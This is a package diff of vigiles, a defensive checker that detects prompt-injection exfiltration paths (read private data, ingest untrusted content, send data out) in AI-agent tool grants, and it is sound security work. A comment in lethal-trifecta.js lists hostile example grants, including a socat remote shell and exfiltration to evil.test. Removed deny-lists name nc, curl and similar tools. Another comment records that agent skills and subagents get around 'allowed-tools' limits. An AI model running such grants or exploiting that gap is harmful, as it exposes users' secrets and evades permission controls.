vigiles 15.0.2 → 15.0.3

package/dist/core/lethal-trifecta.js

@@ -3,6 +3,9 @@ Object.defineProperty(exports, "__esModule", { value: true });
 exports.bashGrantIsUnbounded = bashGrantIsUnbounded;
 exports.classifyTrifectaLegs = classifyTrifectaLegs;
 exports.lethalTrifectaIssues = lethalTrifectaIssues;
+exports.skillFenceLegs = skillFenceLegs;
+exports.dialectSupportsSkillFence = dialectSupportsSkillFence;
+exports.skillTrifectaIssue = skillTrifectaIssue;
 // ---------------------------------------------------------------------------
 // Per-leg tool catalogs (LOCAL — the dialect has no trifecta-leg fields yet).
 //
@@ -82,73 +85,80 @@ function restriction(raw) {
         return null;
     return raw.slice(open + 1, close).trim();
 }
+/**
+ * Programs we KNOW cannot read a private file and cannot open a socket — the only
+ * evidence on which a `Bash(...)` grant may be called bounded.
+ *
+ * 🔴 THIS TABLE IS AN ALLOW-LIST, AND THAT INVERSION IS THE WHOLE POINT. It used to
+ * be two deny-lists (`SHELL_LIKE`, `EXFIL_PROGRAMS`): a pinned program absent from
+ * both was assumed inert, so every gap in them was a false "you are safe" on the
+ * headline SAFETY check. Measured 2026-08-12, all five of these reported NO FINDING
+ * next to `WebFetch`:
+ *
+ *     Bash(node ./bridge.mjs:*)                        reported clean
+ *     Bash(./bridge.sh --serve:*)                      reported clean
+ *     Bash(/opt/tools/exfil --to https://evil.test:*)  reported clean
+ *     Bash(socat TCP-LISTEN:9000 EXEC:/bin/sh:*)       reported clean
+ *     Bash(openssl s_client -connect evil.test:443:*)  reported clean
+ *
+ * The fourth is a remote shell spelled out in the grant itself. Adding `node`,
+ * `python`, `socat` … to the deny-lists would not have closed the class, only moved
+ * its edge: the deciding question is never "is this program dangerous" (unanswerable
+ * for `/opt/tools/exfil`) but "do we KNOW it is not", which only an enumeration of
+ * the harmless can answer.
+ *
+ * HOW THIS LIST WAS DECIDED COMPLETE — it does not have to be, and that is the
+ * property that makes it the right shape. A missing entry costs a false "you are
+ * exposed" (the author loses an argument); a missing entry in the old deny-lists cost
+ * a false "you are safe" (the author loses the finding). Only one of those two errors
+ * is survivable, so the list may stay short and stay honest. Membership requires that
+ * the program read no file the caller did not spell out and open no network socket,
+ * under ANY arguments — because `:*` leaves the arguments free. Anything that takes a
+ * file operand (`cat`, `head`, `ls`, `sed`, `awk`), interprets a language (`node`,
+ * `python`, `perl`, `ruby`, `deno`, `bun`, `php`), or speaks a protocol is therefore
+ * out by construction, without needing to be named.
+ */
+const EFFECT_FREE = new Set([
+    "echo",
+    "printf",
+    "true",
+    "false",
+    ":",
+    "pwd",
+    "sleep",
+    "date",
+    "uname",
+    "hostname",
+    "whoami",
+    "id",
+    "basename",
+    "dirname",
+]);
 /**
  * Does a `Bash(...)` grant still supply the shell's legs — reading a secret and
  * curling it out — or has it been narrowed to a command that cannot?
  *
- * 🔴 WHY THIS EXISTS. Narrowing the grant is the remedy this tool RECOMMENDS: drop a
- * leg, allow at most two. Before this, `Bash(node ./scripts/log.mjs:*)` was read as
- * plain `Bash` — the whole shell, in both leg A and leg C — so an author who took the
- * advice saw their score not move, and the reasonable next conclusion is that
- * narrowing is pointless. A diagnosis blind to its own prescription teaches the wrong
- * lesson. Observed 2026-08-07 on a repo that narrowed nine skills to two named ledger
- * commands and stayed at "17 units can read data, reach the web, and run commands".
+ * Narrowing the grant is a remedy this tool RECOMMENDS, so the reading has to be able
+ * to see a narrowed grant as narrowed: `Bash(node ./scripts/log.mjs:*)` was once read
+ * as plain `Bash` — the whole shell, in both leg A and leg C — and an author who took
+ * the advice saw the score not move. But the fix for that overshot into the opposite
+ * error, and the opposite error is the one that matters (see {@link EFFECT_FREE}), so
+ * the answer is now: a grant is bounded ONLY when it pins a program from that list.
  *
- * HIGH-PRECISION, deliberately. The grant loses the legs ONLY when the pattern pins a
- * program AND at least one concrete argument, e.g. `node ./x.mjs:*`. These stay full
- * shell, because each still runs whatever the caller likes:
+ * The honest consequence, stated rather than hidden: narrowing `Bash` to a script of
+ * your own (`node ./ledger.mjs`) no longer drops a leg, because nothing here has read
+ * that script. The remedy that still works is to drop a leg the checker can SEE — fence
+ * the tool off, or narrow to a command whose effects are enumerable.
  *
  *   Bash            no restriction at all
  *   Bash(*)         Bash(:*)        the wildcard forms
- *   Bash(node:*)    program pinned, arguments free — `node -e "..."` is a shell
- *   Bash(sh ...)    Bash(bash ...)  Bash(eval ...)  the shell itself, however pinned
- *   Bash(curl ...)  Bash(scp ...)   a pinned program whose whole job IS exfiltration
+ *   Bash(node:*)    Bash(node x.mjs:*)   an interpreter runs whatever it is handed
+ *   Bash(sh ...)    Bash(curl ...)  the shell, and the pinned exfiltrator
+ *   Bash(echo ready:*)                   bounded — and only this shape is
  *
  * When in doubt it returns true (keeps the legs): a false "you are exposed" costs the
  * author an argument, a false "you are safe" costs them the finding.
  */
-const SHELL_LIKE = new Set([
-    "sh",
-    "bash",
-    "zsh",
-    "dash",
-    "ksh",
-    "fish",
-    "eval",
-    "exec",
-    "env",
-    "xargs",
-    "sudo",
-    "doas",
-    "nohup",
-    "setsid",
-    "script",
-    "ssh",
-    "docker",
-    "podman",
-    "make",
-]);
-const EXFIL_PROGRAMS = new Set([
-    "curl",
-    "wget",
-    "scp",
-    "sftp",
-    "rsync",
-    "nc",
-    "ncat",
-    "netcat",
-    "telnet",
-    "ftp",
-    "git",
-    "gh",
-    "aws",
-    "gcloud",
-    "az",
-    "kubectl",
-    "npm",
-    "npx",
-    "pip",
-]);
 function bashGrantIsUnbounded(raw) {
     const r = restriction(raw);
     if (r === null)
@@ -156,15 +166,11 @@ function bashGrantIsUnbounded(raw) {
     const pattern = r.replace(/^["']|["']$/g, "").trim();
     if (pattern === "" || pattern === "*" || pattern === ":*")
         return true;
-    // `Bash(node ./x.mjs:*)` — the trailing `:*` is Claude Code's prefix marker, not an
-    // argument. Strip it before deciding whether any concrete argument was pinned.
-    const words = pattern.replace(/:\*$/, "").trim().split(/\s+/).filter(Boolean);
-    if (words.length < 2)
-        return true; // program pinned, arguments free
-    const program = (words[0].split("/").pop() ?? words[0]).toLowerCase();
-    if (SHELL_LIKE.has(program) || EXFIL_PROGRAMS.has(program))
-        return true;
-    return false;
+    // `Bash(echo hi:*)` — the trailing `:*` is Claude Code's prefix marker, not part of
+    // the program name. Strip it before reading the head word.
+    const head = pattern.replace(/:\*$/, "").trim().split(/\s+/)[0] ?? "";
+    const program = (head.split("/").pop() ?? head).toLowerCase();
+    return !EFFECT_FREE.has(program);
 }
 /** Returns true for the wildcard sentinels that mean "inherits-all". */
 function isWildcard(tool) {
@@ -245,6 +251,92 @@ function classifyTrifectaLegs(tools, dialect) {
     }
     return { private: [...priv], untrusted: [...untrusted], exfil: [...exfil] };
 }
+// ---------------------------------------------------------------------------
+// The remedy sentence — split by CAUSE, because one sentence for every unit is a
+// finding nobody can act on
+//
+// 🔴 MEASURED. After `allowed-tools:` stopped being read as a bound, a real
+// 38-skill repo went from 18 of 38 exposed units to 38 of 38 and Safety 86 → 70.
+// The classification is right and stays; what broke is the READING. A check that
+// fires on every unit carries no information unless it says why THIS unit fired,
+// and the sentence it carried — "Drop at least one leg (Meta's Rule of Two)" —
+// was identical for three situations that need three different actions:
+//
+//   Read, WebFetch, Bash                  nothing was attempted
+//   Read, WebFetch, Bash(node ./x.mjs:*)  an attempt was made and did not count
+//   Read, WebFetch                        the shell is not involved at all
+//
+// ⚠️ AND THE ADVICE ITSELF HAS GONE STALE. "Narrow your `Bash(...)`" used to be
+// the headline remedy; a grant now counts as bounded ONLY when it pins a program
+// from `EFFECT_FREE`, which is fourteen entries long and will stay that way by
+// design (see its header: the list may be short precisely because a miss costs a
+// false "you are exposed", never a false "you are safe"). So narrowing to
+// anything an author actually runs — their own script, `node`, `jq`, `git` —
+// does not drop the leg and never will. Printing the old advice sends the author
+// to do work that cannot move the finding, which is how a Safety number gets a
+// reputation for being fake. The middle case is the worst of the three: the
+// author already did it, and the unchanged message tells them nothing.
+//
+// Text only. Which units are found, and how they are graded, is untouched.
+// ---------------------------------------------------------------------------
+/**
+ * The shell grants in this contract that ASKED FOR LESS THAN THE WHOLE SHELL and
+ * still supply both legs — `Bash(node ./x.mjs:*)`, not bare `Bash`.
+ *
+ * These are the surprising ones, and the only ones whose author has already tried
+ * the remedy. A grant with no restriction at all, and one that pins an
+ * {@link EFFECT_FREE} program (which supplies no leg and cannot reach here), are
+ * both excluded.
+ */
+function opaqueShellGrants(tools) {
+    return tools.filter((raw) => LEG_BASH_DUAL.has(baseTool(raw)) &&
+        bashGrantIsUnbounded(raw) &&
+        restriction(raw) !== null);
+}
+/**
+ * The remedy for a `"hard"` (explicit-contract) trifecta, chosen by WHY this
+ * unit still holds all three legs. See the block above for the measurement.
+ */
+function hardTrifectaRemedy(tools, dialect) {
+    const shell = dialect.builtinAgentTools.find((t) => LEG_BASH_DUAL.has(t));
+    const opaque = opaqueShellGrants(tools);
+    // (b) A RESTRICTED shell grant that still counts. The author narrowed and the
+    // finding did not move; say why, and do not re-recommend narrowing.
+    if (opaque.length > 0) {
+        return (`\`${opaque.join("`, `")}\` is narrowed but still counts: a restricted shell grant ` +
+            "drops the read+exfiltrate legs ONLY when it pins a program whose effects are " +
+            `enumerable (${[...EFFECT_FREE].slice(0, 4).join(", ")}, … — ${String(EFFECT_FREE.size)} in all). ` +
+            "Nothing here has read the script or binary you pinned, and an interpreter runs " +
+            "whatever it is handed, so narrowing further will not move this finding. What does: " +
+            `remove ${shell ?? "the shell"} from the contract, or drop the read or the ` +
+            "untrusted-intake leg instead (Meta's Rule of Two: allow at most two).");
+    }
+    // (a) An UNRESTRICTED shell grant — the shell supplies two of the three legs on
+    // its own, so it is the single highest-value tool to remove.
+    //
+    // 🔴 The test is "does the shell actually supply a leg", NOT "is a shell named".
+    // `Bash(echo ready:*)` is named and bounded: it contributes nothing, the trifecta
+    // is carried entirely by the other tools, and telling that author to remove Bash
+    // would send them to undo the one narrowing that worked. Caught by running the
+    // branch over a real contract rather than reasoning about it.
+    const unboundedShell = tools.some((t) => LEG_BASH_DUAL.has(baseTool(t)) && bashGrantIsUnbounded(t));
+    if (shell !== undefined && unboundedShell) {
+        return (`${shell} alone supplies two of the three legs (it reads private files AND ships them out), ` +
+            `so removing ${shell} from the contract closes the path in one edit. ` +
+            "Restricting it instead — `" +
+            `${shell}(<program>:*)` +
+            "` — only helps for a program whose effects are enumerable " +
+            `(${[...EFFECT_FREE].slice(0, 4).join(", ")}, … — ${String(EFFECT_FREE.size)} in all); ` +
+            "your own script or an interpreter does not qualify. Otherwise drop the read or the " +
+            "untrusted-intake leg (Meta's Rule of Two: allow at most two).");
+    }
+    // (c) NO shell involved: the three legs are carried by named tools, so the only
+    // remedy is removing one of them — there is no grant to narrow here at all.
+    return ("No shell grant supplies a leg here, so there is nothing to narrow — the three legs " +
+        "are carried by the named tools above (and any shell grant in this contract is " +
+        "already bounded). Remove one of those tools; the untrusted-intake leg is usually " +
+        "the cheapest to give up (Meta's Rule of Two: allow at most two).");
+}
 /**
  * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
  * `null` (≤ 2 legs = safe by the Rule of Two).
@@ -300,7 +392,7 @@ function lethalTrifectaIssues(tools, dialect, ctx = {}) {
                 `(${legs.private.join(", ")}), ingest untrusted content ` +
                 `(${legs.untrusted.join(", ")}), AND exfiltrate ` +
                 `(${legs.exfil.join(", ")}) — a prompt-injection exfil path with no exploit code. ` +
-                "Drop at least one leg (Meta's Rule of Two: allow at most two)." +
+                hardTrifectaRemedy(tools, dialect) +
                 (ctx.contractUnreadable
                     ? " (Those tool names were SALVAGED: the frontmatter is not valid YAML, so a strict" +
                         " loader reads no contract here at all and the real grant may be wider still." +
@@ -318,4 +410,256 @@ function lethalTrifectaIssues(tools, dialect, ctx = {}) {
     }
     return null;
 }
+// ---------------------------------------------------------------------------
+// SKILLS — a different mechanism, and the one this file used to read wrong
+// ---------------------------------------------------------------------------
+//
+// 🔴 THE MEASUREMENT (2026-08-11). A skill's `allowed-tools:` is a PRE-APPROVAL,
+// not a restriction. Claude Code's own docs, §"Pre-approve tools for a skill":
+//
+//   "The `allowed-tools` field grants permission for the listed tools during the
+//    turn that invokes the skill… It does not restrict which tools are available:
+//    every tool remains callable, and your permission settings still govern tools
+//    that are not listed. … To remove tools from Claude's available pool while a
+//    skill is active, list them in `disallowed-tools` in the skill's frontmatter."
+//
+// Confirmed twice from outside this repo: anthropics/claude-code#18837 (Jan 2026)
+// and #37683 (Mar 2026), both closed as not-planned; #37683 reproduces it in
+// INTERACTIVE mode on a live model, so it is not a headless artifact. Reproduced
+// here under `claude -p` (CLI 2.1.227): a skill declaring `WebSearch, WebFetch`
+// read a private file and wrote a new one.
+//
+// `disallowed-tools` WAS then measured, 9 runs, and it DOES restrict. The cleanest
+// control is a single run in which `Read` succeeds BEFORE the skill activates and
+// is denied after it:
+//
+//   "Permission to use Read has been denied."
+//
+// and, through a `Task` subagent in the same run — the route-around that defeats
+// `allowed-tools` in #37683 —
+//
+//   "Error: No such tool available: Read. Read is disabled for this session, in
+//    subagents as well as here."
+//
+// WHAT THAT MEANS FOR THIS CHECK. Reading `allowed-tools` as a bound made the
+// finding UNDERSTATE risk (it reported 18 of 38 units exposed on a corpus where
+// all 38 were) and, worse, CREDITED a narrow `allowed-tools` with a reduction it
+// does not produce — the tool's own "a declaration present is not a rule enforced"
+// thesis, violated by the tool. So the skill path reads `disallowed-tools` and
+// ignores `allowed-tools` entirely.
+//
+// WHY THE SHAPE CHANGED TOO, not just the arithmetic. The naive correction — count
+// every unfenced skill as a per-unit finding — fires on ~100% of every real
+// harness, and a check that fires on the default state of the ecosystem gets muted
+// within a day, taking the true findings with it. So the two states are presented
+// differently, while being GRADED IDENTICALLY (they are the same capability; see
+// `trifectaExposure`):
+//
+//   - `fence: "none"` — the default. One AGGREGATE line for the whole surface
+//     ("N of M skills declare no tool fence") plus the skill names as detail. It
+//     is one fact about the harness, not N facts about N skills, and stating it
+//     once is what a reader can act on.
+//   - `fence: "ineffective"` — a `disallowed-tools:` that closes no leg. Rare,
+//     per-skill, and a genuine mistake (the author believed they had fenced), so
+//     it keeps its own line — the same shape as `disallowed-tools-contract`'s
+//     "this entry blocks nothing".
+//
+// Presentation differs; severity does NOT. Both are `"advisory"` and both count
+// once toward `trifectaExposure`. Making the ineffective-fence case LOUDER would
+// repeat the exact non-monotonicity this file was already fixed for once: an
+// ineffective fence has capability ≤ no fence, so it must never grade worse.
+/**
+ * Built-in tools that supply each leg, for the DENY direction — a leg is closed
+ * only when EVERY name here is denied.
+ *
+ * 🔴 This is deliberately a SUPERSET of the allow-direction catalogs above, and the
+ * asymmetry is the point. In the allow direction an unlisted tool maps to no leg,
+ * which UNDERSTATES risk — high precision, don't cry wolf. In the deny direction the
+ * same omission would OVERSTATE safety: a leg would read as closed because we forgot
+ * to require one of its suppliers. So `Grep`/`Glob` join `Read` under private-data
+ * read (a grep of `.env` returns its contents), `WebSearch` joins `WebFetch` under
+ * exfiltration (a query string leaves the machine), and the shell is in all three —
+ * `curl` fetches attacker content in, `cat` reads the secret, `curl --data` ships it.
+ *
+ * STATED LIMIT, also in docs/rules/lethal-trifecta.md: this covers the harness's own
+ * built-ins. An MCP server the SESSION provides can re-supply a leg the fence closed,
+ * and no static read of a SKILL.md can see the session's MCP config. A closed leg
+ * therefore means "closed among the built-ins", which is what the author can actually
+ * control from frontmatter — not a proof of absence.
+ */
+const FENCE_SUPPLIERS = {
+    private: ["Read", "Grep", "Glob", ...LEG_BASH_DUAL],
+    untrusted: ["WebFetch", "WebSearch", ...LEG_BASH_DUAL],
+    exfil: ["WebFetch", "WebSearch", ...LEG_BASH_DUAL],
+};
+/**
+ * The suppliers of a leg that THIS harness actually ships, so the remedy names
+ * tools the author can really deny. `FENCE_SUPPLIERS` carries every dialect's
+ * shell name (`Bash` and Codex's `shell`); telling a Claude Code author to deny
+ * `shell` would be cry-wolf, and would make the leg unclosable in practice.
+ *
+ * Fallback when the dialect recognizes NONE of them: keep the unfiltered list. An
+ * unrecognized harness must not silently clear the check by having a catalog we
+ * can't match — the safe failure is "still open", not "closed".
+ */
+function fenceSuppliers(leg, dialect) {
+    const catalog = new Set(dialect.builtinAgentTools);
+    const known = FENCE_SUPPLIERS[leg].filter((t) => catalog.has(t));
+    return known.length > 0 ? known : FENCE_SUPPLIERS[leg];
+}
+/** The legs a `disallowed-tools:` list leaves standing, naming the suppliers. */
+function skillFenceLegs(disallowed, dialect) {
+    // Only an UNRESTRICTED deny removes a tool: `disallowed-tools: Bash(curl:*)`
+    // denies that pattern and leaves the rest of the shell. Conservative by design,
+    // and the mirror of `bashGrantIsUnbounded` on the allow side.
+    const denied = new Set(disallowed
+        .filter((raw) => restriction(raw) === null)
+        .map((raw) => baseTool(raw)));
+    const remaining = (leg) => fenceSuppliers(leg, dialect).filter((t) => !denied.has(t));
+    return {
+        private: remaining("private"),
+        untrusted: remaining("untrusted"),
+        exfil: remaining("exfil"),
+    };
+}
+/** The one-line remedy, quoted in every skill finding so it is never just a diagnosis. */
+function fenceFix(dialect) {
+    const list = (leg) => fenceSuppliers(leg, dialect).join(", ");
+    return ("Fix in one line: add a `disallowed-tools:` line naming every built-in that " +
+        `supplies a leg the skill does not need — private-data read = ${list("private")}; ` +
+        `untrusted intake = ${list("untrusted")}; exfiltration = ${list("exfil")}. ` +
+        "Measured: `disallowed-tools` removes the tool from the pool while the skill " +
+        "is active, in subagents too.");
+}
+const PREAPPROVAL_NOTE = "`allowed-tools:` does NOT fence a skill — it PRE-APPROVES the tools it lists " +
+    '("It does not restrict which tools are available: every tool remains callable" ' +
+    "— Claude Code docs), so however narrow it is, the skill still holds every leg.";
+/**
+ * Whether THIS harness understands a skill-level `disallowed-tools:` at all.
+ *
+ * Read off the dialect record that already exists — `skillFrontmatter` is exactly
+ * "which SKILL.md keys this harness understands", and `disallowed-tools` is one of
+ * the Claude-Code-only ones. No new capability flag: a second field saying the
+ * same thing is a second thing to keep true, and the compiler already branches on
+ * this one (`renderSkillFrontmatter` emits the tool keys under `"claude-code"` and
+ * omits them under `"minimal"`).
+ */
+function dialectSupportsSkillFence(dialect) {
+    return dialect.skillFrontmatter === "claude-code";
+}
+/**
+ * The lethal-trifecta finding for a MODEL-INVOCABLE SKILL, computed from its
+ * `disallowed-tools:` — the only skill frontmatter field measured to remove a
+ * tool. `allowed-tools:` is not an input here, on purpose: it is a pre-approval,
+ * and treating it as a bound is the defect this function exists to correct (see
+ * the block comment above for the measurement).
+ *
+ * 🔴 AND IT IS A CLAUDE-CODE MECHANISM, which this applied to every harness. On a
+ * Codex repo (`skillFrontmatter: "minimal"` — name + description only, and our own
+ * compiler drops the tool keys there) every skill was reported as holding all
+ * three legs, scored against Safety, and handed the remedy "add a
+ * `disallowed-tools:` line". That line is INERT in Codex: the author does the
+ * work, the harness ignores the key, the finding returns, and the score never
+ * moves. A remedy the target cannot apply is worse than no finding — it is a floor
+ * dressed up as a defect, and it teaches people that the Safety number is fake.
+ *
+ * So the detector runs only where the fence exists ({@link dialectSupportsSkillFence}).
+ * This is a claim about the MECHANISM, not about the risk: a Codex skill really
+ * does hold every leg, and bounding it is a session/config-level question that
+ * belongs to a Codex-specific detector, not to a Claude Code one applied by
+ * default. Subagent findings are unaffected — `tools:` is a different mechanism,
+ * with its own dialect handling.
+ *
+ * @param disallowed `disallowed-tools:` as declared, or `null` when the line is
+ *   absent — the two are NOT the same: an explicit empty list still denies nothing,
+ *   but the message should not tell an author who wrote the line that they didn't.
+ * @returns `null` once the fence closes at least one leg (Rule of Two satisfied,
+ *   among the built-ins — see {@link FENCE_SUPPLIERS} for the stated limit), and
+ *   `null` for any harness with no skill fence to close it with.
+ */
+function skillTrifectaIssue(disallowed, dialect, ctx = {}) {
+    if (!dialectSupportsSkillFence(dialect))
+        return null;
+    // An unreadable block is not a fence: a strict loader reads no frontmatter at
+    // all, so whatever `disallowed-tools:` it appears to contain denies nothing.
+    const declared = ctx.contractUnreadable ? null : disallowed;
+    const legs = skillFenceLegs(declared ?? [], dialect);
+    const open = ["private", "untrusted", "exfil"].filter((leg) => legs[leg].length > 0);
+    if (open.length < 3)
+        return null; // a whole leg is closed — Rule of Two holds
+    if (declared === null) {
+        return {
+            severity: "advisory",
+            legs,
+            fence: "none",
+            message: ctx.contractUnreadable
+                ? "Frontmatter is not valid YAML, so this skill declares no readable fence — a " +
+                    "strict loader rejects the block, and `disallowed-tools:` inside a block that " +
+                    "does not parse denies nothing. The skill inherits every tool the session " +
+                    "grants and holds all three lethal-trifecta legs (read private data, ingest " +
+                    "untrusted content, exfiltrate). Fix the YAML first, then fence. " +
+                    PREAPPROVAL_NOTE
+                : "No `disallowed-tools:` line, so this skill inherits every tool the session " +
+                    "grants and holds all three lethal-trifecta legs (read private data, ingest " +
+                    "untrusted content, exfiltrate). " +
+                    PREAPPROVAL_NOTE +
+                    " " +
+                    fenceFix(dialect),
+        };
+    }
+    // 🔴 An EXPLICIT empty list is an ATTEMPT, and the doc contract above already
+    // said so ("the two are NOT the same … the message should not tell an author who
+    // wrote the line that they didn't") — the code then folded it in with the absent
+    // case anyway. The cost was not just wording: `fence: "none"` routes into the
+    // whole-surface AGGREGATE ("N of M skills declare no tool fence"), so the one
+    // author who reached for the field and got nothing from it was the one who never
+    // heard about it. `disallowed-tools: []` denies nothing, which is exactly what
+    // `"ineffective"` means, and that state keeps its own per-skill line.
+    //
+    // Grading is untouched: both states are `"advisory"` and both count once toward
+    // `trifectaExposure`. An empty fence has capability equal to no fence, so moving
+    // it must not make it score worse — see the non-monotonicity note above.
+    if (declared.length === 0) {
+        return {
+            severity: "advisory",
+            legs,
+            fence: "ineffective",
+            message: "`disallowed-tools:` is declared but EMPTY, so it denies nothing and this " +
+                "skill still holds all three lethal-trifecta legs — private-data read is " +
+                `supplied by ${legs.private.join(", ")}, untrusted intake by ` +
+                `${legs.untrusted.join(", ")}, exfiltration by ${legs.exfil.join(", ")}. ` +
+                "The line exists, so this is a fence that was attempted and closes nothing, " +
+                "not a missing one. " +
+                fenceFix(dialect),
+        };
+    }
+    // The same split as the subagent side, for the same reason: "closes no leg" is
+    // one sentence covering two causes that need two different edits.
+    //
+    // A RESTRICTED deny (`disallowed-tools: Bash(curl:*)`) is not weighed and found
+    // wanting — it is DISCARDED, because denying one invocation of the shell says
+    // nothing about the rest of it. An author who wrote that line and read "a leg is
+    // closed only when EVERY built-in that supplies it is denied" would reasonably
+    // add more restricted denies and watch nothing happen. Naming the discard is the
+    // difference between a diagnosis and a wild goose chase.
+    const ignored = declared.filter((raw) => restriction(raw) !== null);
+    const preamble = ignored.length > 0
+        ? `\`${ignored.join("`, `")}\` denies nothing: a RESTRICTED deny is discarded, not ` +
+            "weighed — denying one invocation of a tool leaves the tool. Only an " +
+            "unrestricted name (`Bash`, not `Bash(curl:*)`) removes it from the pool. " +
+            (ignored.length === declared.length
+                ? "Every entry in this fence is restricted, so it closes nothing at all. "
+                : "The unrestricted entries that remain still close no whole leg. ")
+        : `\`disallowed-tools: ${declared.join(", ")}\` closes no lethal-trifecta leg — ` +
+            "a leg is closed only when EVERY built-in that supplies it is denied. ";
+    return {
+        severity: "advisory",
+        legs,
+        fence: "ineffective",
+        message: preamble +
+            `Private-data read is still supplied by ${legs.private.join(", ")}, untrusted ` +
+            `intake by ${legs.untrusted.join(", ")}, exfiltration by ${legs.exfil.join(", ")}. ` +
+            fenceFix(dialect),
+    };
+}
 //# sourceMappingURL=lethal-trifecta.js.map

package/dist/core/markdown.d.ts

@@ -10,4 +10,36 @@
  * indices line up 1:1 with the caller's line array.
  */
 export declare function fencedLineFlags(src: string): boolean[];
+/** One fenced code block: its BODY (delimiters excluded) and where the body starts. */
+export interface FencedBlock {
+    /** The block's contents, without the opening/closing fence lines. */
+    readonly body: string;
+    /** 1-BASED line number of the body's first line, for a caller's messages. */
+    readonly start: number;
+}
+/**
+ * Every fenced code block in `src`, in document order — the same parser
+ * {@link fencedLineFlags} uses, for callers that want the CONTENTS rather than a
+ * per-line flag.
+ *
+ * 🔴 THE CLOSING FENCE MUST MATCH THE OPENING ONE, and every hand-rolled version
+ * of this in the repo got that wrong the same way: any line beginning with three
+ * backticks TOGGLED. CommonMark says a closing fence uses the same CHARACTER as
+ * the opener and is at least as LONG, so a four-backtick block wrapping an
+ * ordinary ``` example closes early — the block is cut in half, and the prose
+ * after it becomes "another block" whose text is then read as commands. That
+ * makes a document-rule check both MISS commands and JUDGE prose. `~~~` fences
+ * were not recognized at all.
+ *
+ * Backed by markdown-it (CommonMark), so delimiter character, delimiter length,
+ * `~~~`, indented fences inside list items and an unterminated final fence are
+ * all decided by the grammar rather than re-derived here. Measured 2026-08-12 on
+ * each of those shapes.
+ *
+ * One deliberate difference from a hand-rolled toggle, and it is the grammar's:
+ * a fence indented FOUR or more spaces at top level is an indented code block,
+ * not a fence, and is not returned. Line numbers count from the ORIGINAL source,
+ * so a caller's message points at the real line.
+ */
+export declare function fencedCodeBlocks(src: string): FencedBlock[];
 //# sourceMappingURL=markdown.d.ts.map

package/dist/core/markdown.js

@@ -4,6 +4,7 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
 };
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.fencedLineFlags = fencedLineFlags;
+exports.fencedCodeBlocks = fencedCodeBlocks;
 /**
  * vigiles — the ONE markdown-structure helper.
  *
@@ -49,4 +50,39 @@ function fencedLineFlags(src) {
     }
     return flags;
 }
+/**
+ * Every fenced code block in `src`, in document order — the same parser
+ * {@link fencedLineFlags} uses, for callers that want the CONTENTS rather than a
+ * per-line flag.
+ *
+ * 🔴 THE CLOSING FENCE MUST MATCH THE OPENING ONE, and every hand-rolled version
+ * of this in the repo got that wrong the same way: any line beginning with three
+ * backticks TOGGLED. CommonMark says a closing fence uses the same CHARACTER as
+ * the opener and is at least as LONG, so a four-backtick block wrapping an
+ * ordinary ``` example closes early — the block is cut in half, and the prose
+ * after it becomes "another block" whose text is then read as commands. That
+ * makes a document-rule check both MISS commands and JUDGE prose. `~~~` fences
+ * were not recognized at all.
+ *
+ * Backed by markdown-it (CommonMark), so delimiter character, delimiter length,
+ * `~~~`, indented fences inside list items and an unterminated final fence are
+ * all decided by the grammar rather than re-derived here. Measured 2026-08-12 on
+ * each of those shapes.
+ *
+ * One deliberate difference from a hand-rolled toggle, and it is the grammar's:
+ * a fence indented FOUR or more spaces at top level is an indented code block,
+ * not a fence, and is not returned. Line numbers count from the ORIGINAL source,
+ * so a caller's message points at the real line.
+ */
+function fencedCodeBlocks(src) {
+    const out = [];
+    for (const tok of md.parse(src, {})) {
+        if (tok.type !== "fence" || tok.map === null)
+            continue;
+        // `content` is the body only; `map[0]` is the OPENING delimiter's 0-based
+        // line, so the body's first line is 1-based `map[0] + 2`.
+        out.push({ body: tok.content.replace(/\n$/, ""), start: tok.map[0] + 2 });
+    }
+    return out;
+}
 //# sourceMappingURL=markdown.js.map